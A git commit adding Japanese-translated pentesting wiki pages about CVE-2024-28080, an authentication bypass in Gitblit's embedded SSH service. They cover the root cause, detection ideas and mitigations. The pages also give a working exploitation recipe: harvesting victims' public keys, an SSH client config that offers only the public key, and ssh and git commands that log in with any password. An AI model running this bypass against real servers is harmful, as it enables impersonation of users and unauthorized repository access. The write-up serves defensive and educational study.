Translated ['src/pentesting-ci-cd/gitblit-security/README.md', 'src/pent

This commit is contained in:
Translator
2025-08-31 08:23:30 +00:00
parent c9e905f22c
commit 11abf8adf2
3 changed files with 181 additions and 50 deletions

View File

@@ -0,0 +1,21 @@
# Gitblit セキュリティ
{{#include ../../banners/hacktricks-training.md}}
## Gitblit とは
GitblitはJavaで書かれた自己ホスト型のGitサーバーです。スタンドアロンのJARとして実行するか、サーブレットコンテナ内で動作させることができ、Git over SSH用の組み込みSSHサービスApache MINA SSHDを同梱しています。
## トピック
- Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)
{{#ref}}
gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md
{{#endref}}
## 参考
- [Gitblit project](https://gitblit.com/)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,107 @@
# Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)
{{#include ../../banners/hacktricks-training.md}}
## 概要
CVE-2024-28080 は、Apache MINA SSHD と統合する際のセッション状態ハンドリングの誤りに起因する、Gitblit の組み込み SSH サービスにおける認証バイパスです。ユーザーアカウントに少なくとも 1 つの SSH public key が登録されている場合、攻撃者が該当ユーザーの username とその public key のいずれかを知っていれば、private key や password なしで認証できます。
- 影響を受けるバージョン: Gitblit < 1.10.0 (1.9.3 で確認)
- 修正バージョン: 1.10.0
- 悪用に必要な条件:
- インスタンスで Git over SSH が有効になっていること
- 被害者アカウントに少なくとも 1 つの SSH public key が Gitblit に登録されていること
- 攻撃者が被害者の username とその public key のいずれかを知っていること(公開されていることが多い、例: https://github.com/<username>.keys
## 根本原因 (state leaks between SSH methods)
RFC 4252 によれば、publickey authentication は 2 段階で進行します: サーバは最初に提示された public key が username に対して受け入れ可能かをチェックし、クライアントが署名で応答した後にユーザーを認証します。MINA SSHD では、PublickeyAuthenticator が 2 回呼ばれます: key acceptanceまだ署名なし時と、クライアントが署名を返した後です。
Gitblit の PublickeyAuthenticator は、署名前の最初の呼び出しでセッションコンテキストを変更し、UserModel をセッションにバインドして true"key acceptable")を返していました。後に認証が password にフォールバックした際、PasswordAuthenticator はその変更されたセッション状態を信頼して処理をスキップし、password の検証なしに true を返しました。その結果、同じユーザーに対して publickey の "acceptance" が先に起きていれば、任意の password空も含むが受け入れられてしまいました。
高レベルの欠陥の流れ:
1) クライアントが username + public key を提示(まだ署名なし)
2) サーバがその key がユーザーに属すると認識し、ユーザーをセッションに早期に紐付けして true"acceptable")を返す
3) クライアントは署名できないprivate key がない)ため、認証は password にフォールバックする
4) PasswordAuthenticator はセッションに既にユーザーが存在するのを検出し、無条件に成功を返す
## ステップごとの悪用
- 被害者の username とその public key の 1 つを収集する:
- GitHub は公開鍵を https://github.com/<username>.keys で公開している
- 公開サーバはしばしば authorized_keys を公開している
- OpenSSH を設定して public half のみを提示するようにし、署名生成を失敗させることで password へのフォールバックを強制しつつ、サーバ側では publickey acceptance パスをトリガーさせる
Example SSH client config (no private key available):
```sshconfig
# ~/.ssh/config
Host gitblit-target
HostName <host-or-ip>
User <victim-username>
PubkeyAuthentication yes
PreferredAuthentications publickey,password
IdentitiesOnly yes
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
```
接続し、パスワードプロンプトで Enter キーを押してください(または任意の文字列を入力してください):
```bash
ssh gitblit-target
# or Git over SSH
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>
```
認証が成功するのは、前段の publickey フェーズがセッションを認証済みユーザーに変更mutatedしてしまい、password auth がその状態を誤って信頼するためです。
Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact.
## Impact
- 少なくとも1つの登録された SSH public key を持つ任意の Gitblit ユーザーの完全ななりすまし
- 被害者の権限に応じたリポジトリへの読み書きアクセスsource exfiltration、unauthorized pushes、supplychain risks
- admin ユーザーを狙った場合、管理者権限に対する影響の可能性
- 純粋なネットワーク脆弱性brute force も private key も不要
## Detection ideas
- SSH ログを確認し、publickey 試行の後に空または非常に短いパスワードでの成功した password authentication が続くようなシーケンスを探す
- フローを探す: publickey method がサポート外/不一致のキー素材を提示した後、同じユーザー名に対して即座に password が成功する流れ
## Mitigations
- Upgrade to Gitblit v1.10.0+
- Until upgraded:
- Disable Git over SSH on Gitblit, or
- Restrict network access to the SSH service, and
- Monitor for suspicious patterns described above
- Rotate affected user credentials if compromise is suspected
## General: abusing SSH auth method stateleakage (MINA/OpenSSHbased services)
Pattern: If a servers publickey authenticator mutates user/session state during the presignature "key acceptable" phase and other authenticators (e.g., password) trust that state, you can bypass authentication by:
- 対象ユーザーの正当な public key を提示するprivate key は不要)
- クライアントに署名を失敗させてサーバが password にフォールバックするようにする
- password authenticator が leaked state によりショートサーキットする間に任意の password を供給する
Practical tips:
- Public key harvesting at scale: pull public keys from common sources such as https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
- Forcing signature failure (clientside): point IdentityFile to only the .pub, set IdentitiesOnly yes, keep PreferredAuthentications to include publickey then password
- MINA SSHD integration pitfalls:
- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the postsignature verification path confirms the signature
- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method
Related protocol/design notes and literature:
- SSH userauth protocol: RFC 4252 (publickey method is a twostage process)
- Historical discussions on early acceptance oracles and auth races, e.g., CVE201620012 disputes around OpenSSH behavior
## References
- [Gitblit CVE-2024-28080: SSH publickey fallback to password authentication bypass (Silent Signal blog)](https://blog.silentsignal.eu/2025/06/14/gitblit-cve-CVE-2024-28080/)
- [Gitblit v1.10.0 release notes](https://github.com/gitblit-org/gitblit/releases/tag/v1.10.0)
- [Apache MINA SSHD project](https://mina.apache.org/sshd-project/)
- [PublickeyAuthenticator API](https://svn.apache.org/repos/infra/websites/production/mina/content/sshd-project/apidocs/org/apache/sshd/server/auth/pubkey/PublickeyAuthenticator.html)
- [RFC 4252: The Secure Shell (SSH) Authentication Protocol](https://datatracker.ietf.org/doc/html/rfc4252)
{{#include ../../banners/hacktricks-training.md}}